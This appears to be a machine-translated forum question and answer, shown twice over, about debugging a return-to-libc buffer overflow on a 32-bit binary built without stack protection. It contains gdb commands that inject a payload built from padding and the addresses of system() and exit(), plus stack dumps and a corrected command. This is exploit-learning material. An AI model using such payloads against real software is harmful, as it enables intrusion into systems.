堆栈框架中缺少注入字符串的某些部分
certain parts of injected string are missing on stack frame
我正在尝试 return-to-libc 利用简单程序。我找到了
存储输入字符串的堆栈地址,以及 libc 函数的位置,并以此为基础构建我的有效负载。
[填充(252 字节)] + [系统(4 字节)] + [退出(4 字节)] + [参数(4 字节)]
我用gdb打开了易受攻击的程序并注入了payload。当我检查堆栈帧时,我可以看到在正确位置加载了 252 字节填充,但有效负载的最后 12 字节部分似乎丢失了,或者以某种方式替换为一些无用的东西。
出于好奇,我稍微更改了我的有效负载,尤其是填充部分。
[填充(96)]+[系统(4)]+[填充(152)]+[系统(4)]+[退出(4)]+[参数(4)]
然后堆栈只保留前 96 字节部分,其余部分不存在。
我在 64 位 kali-linux 上用 python 注入了 payload。易受攻击的程序是使用 gcc
和 -m32
-fno-stack-protector
选项编译的。
(gdb) run $(python -c 'print "\x41"*252 + "\x60\x0a\x05\x08" + "\x30\xfd\x04\x08" + "\x64\x79\x09\x08"')
(gdb) x/256xw $ebp-0xfc
0xffffd010: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd020: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd030: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd040: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd050: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd060: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd070: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd080: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd090: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd0a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd0b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd0c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd0f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd100: 0x41414141 0x41414141 0x41414141 0x00000060
0xffffd110: 0xffffd130 0x080dc000 0x00000000 0x0804a25b
0xffffd120: 0x080dc000 0x080dc000 0x080dc000 0x0804a25b
0xffffd130: 0x00000003 0xffffd1e4 0xffffd1f4 0xffffd184
0xffffd140: 0x00000000 0x00000000 0x00000000 0x080dc000
...
(gdb) run $(python -c 'print "\x41"*96 +"\x60\x0a\x05\x08"+ "\x41"*152 + "\x60\x0a\x05\x08" + "\x30\xfd\x04\x08" + "\x64\x79\x09\x08"')
(gdb) x/256wx $ebp-0xfc
0xffffd010: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd020: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd030: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd040: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd050: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd060: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd070: 0x00000060 0x00000000 0x0000bfc0 0xa9173800
0xffffd080: 0x080b12ef 0x00002933 0x00000000 0x080dc000
0xffffd090: 0x00000001 0x080dc000 0x080dd900 0x080495fa
0xffffd0a0: 0x00000004 0x080ddf74 0x0804fa99 0x00008000
0xffffd0b0: 0x080b0fa5 0x00040000 0x00000000 0x080abc6a
...
地址 \x60\x0a\x05\x08
似乎被 \x60\x00\x00\x00
替换了。有什么我想念的吗?或者这与编译器有关?
您似乎正试图 运行 程序将有效载荷作为参数传递,但它包含字符 \x0a,导致有效载荷被分成两个单独的参数。
在命令周围添加双引号应该允许您将其作为单个参数传递:
(gdb) run "$(python -c 'print "\x41"*252 + "\x60\x0a\x05\x08" + "\x30\xfd\x04\x08" + "\x64\x79\x09\x08"')"
我正在尝试 return-to-libc 利用简单程序。我找到了 存储输入字符串的堆栈地址,以及 libc 函数的位置,并以此为基础构建我的有效负载。
[填充(252 字节)] + [系统(4 字节)] + [退出(4 字节)] + [参数(4 字节)]
我用gdb打开了易受攻击的程序并注入了payload。当我检查堆栈帧时,我可以看到在正确位置加载了 252 字节填充,但有效负载的最后 12 字节部分似乎丢失了,或者以某种方式替换为一些无用的东西。
出于好奇,我稍微更改了我的有效负载,尤其是填充部分。
[填充(96)]+[系统(4)]+[填充(152)]+[系统(4)]+[退出(4)]+[参数(4)]
然后堆栈只保留前 96 字节部分,其余部分不存在。
我在 64 位 kali-linux 上用 python 注入了 payload。易受攻击的程序是使用 gcc
和 -m32
-fno-stack-protector
选项编译的。
(gdb) run $(python -c 'print "\x41"*252 + "\x60\x0a\x05\x08" + "\x30\xfd\x04\x08" + "\x64\x79\x09\x08"')
(gdb) x/256xw $ebp-0xfc
0xffffd010: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd020: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd030: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd040: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd050: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd060: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd070: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd080: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd090: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd0a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd0b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd0c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd0f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd100: 0x41414141 0x41414141 0x41414141 0x00000060
0xffffd110: 0xffffd130 0x080dc000 0x00000000 0x0804a25b
0xffffd120: 0x080dc000 0x080dc000 0x080dc000 0x0804a25b
0xffffd130: 0x00000003 0xffffd1e4 0xffffd1f4 0xffffd184
0xffffd140: 0x00000000 0x00000000 0x00000000 0x080dc000
...
(gdb) run $(python -c 'print "\x41"*96 +"\x60\x0a\x05\x08"+ "\x41"*152 + "\x60\x0a\x05\x08" + "\x30\xfd\x04\x08" + "\x64\x79\x09\x08"')
(gdb) x/256wx $ebp-0xfc
0xffffd010: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd020: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd030: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd040: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd050: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd060: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd070: 0x00000060 0x00000000 0x0000bfc0 0xa9173800
0xffffd080: 0x080b12ef 0x00002933 0x00000000 0x080dc000
0xffffd090: 0x00000001 0x080dc000 0x080dd900 0x080495fa
0xffffd0a0: 0x00000004 0x080ddf74 0x0804fa99 0x00008000
0xffffd0b0: 0x080b0fa5 0x00040000 0x00000000 0x080abc6a
...
地址 \x60\x0a\x05\x08
似乎被 \x60\x00\x00\x00
替换了。有什么我想念的吗?或者这与编译器有关?
您似乎正试图 运行 程序将有效载荷作为参数传递,但它包含字符 \x0a,导致有效载荷被分成两个单独的参数。
在命令周围添加双引号应该允许您将其作为单个参数传递:
(gdb) run "$(python -c 'print "\x41"*252 + "\x60\x0a\x05\x08" + "\x30\xfd\x04\x08" + "\x64\x79\x09\x08"')"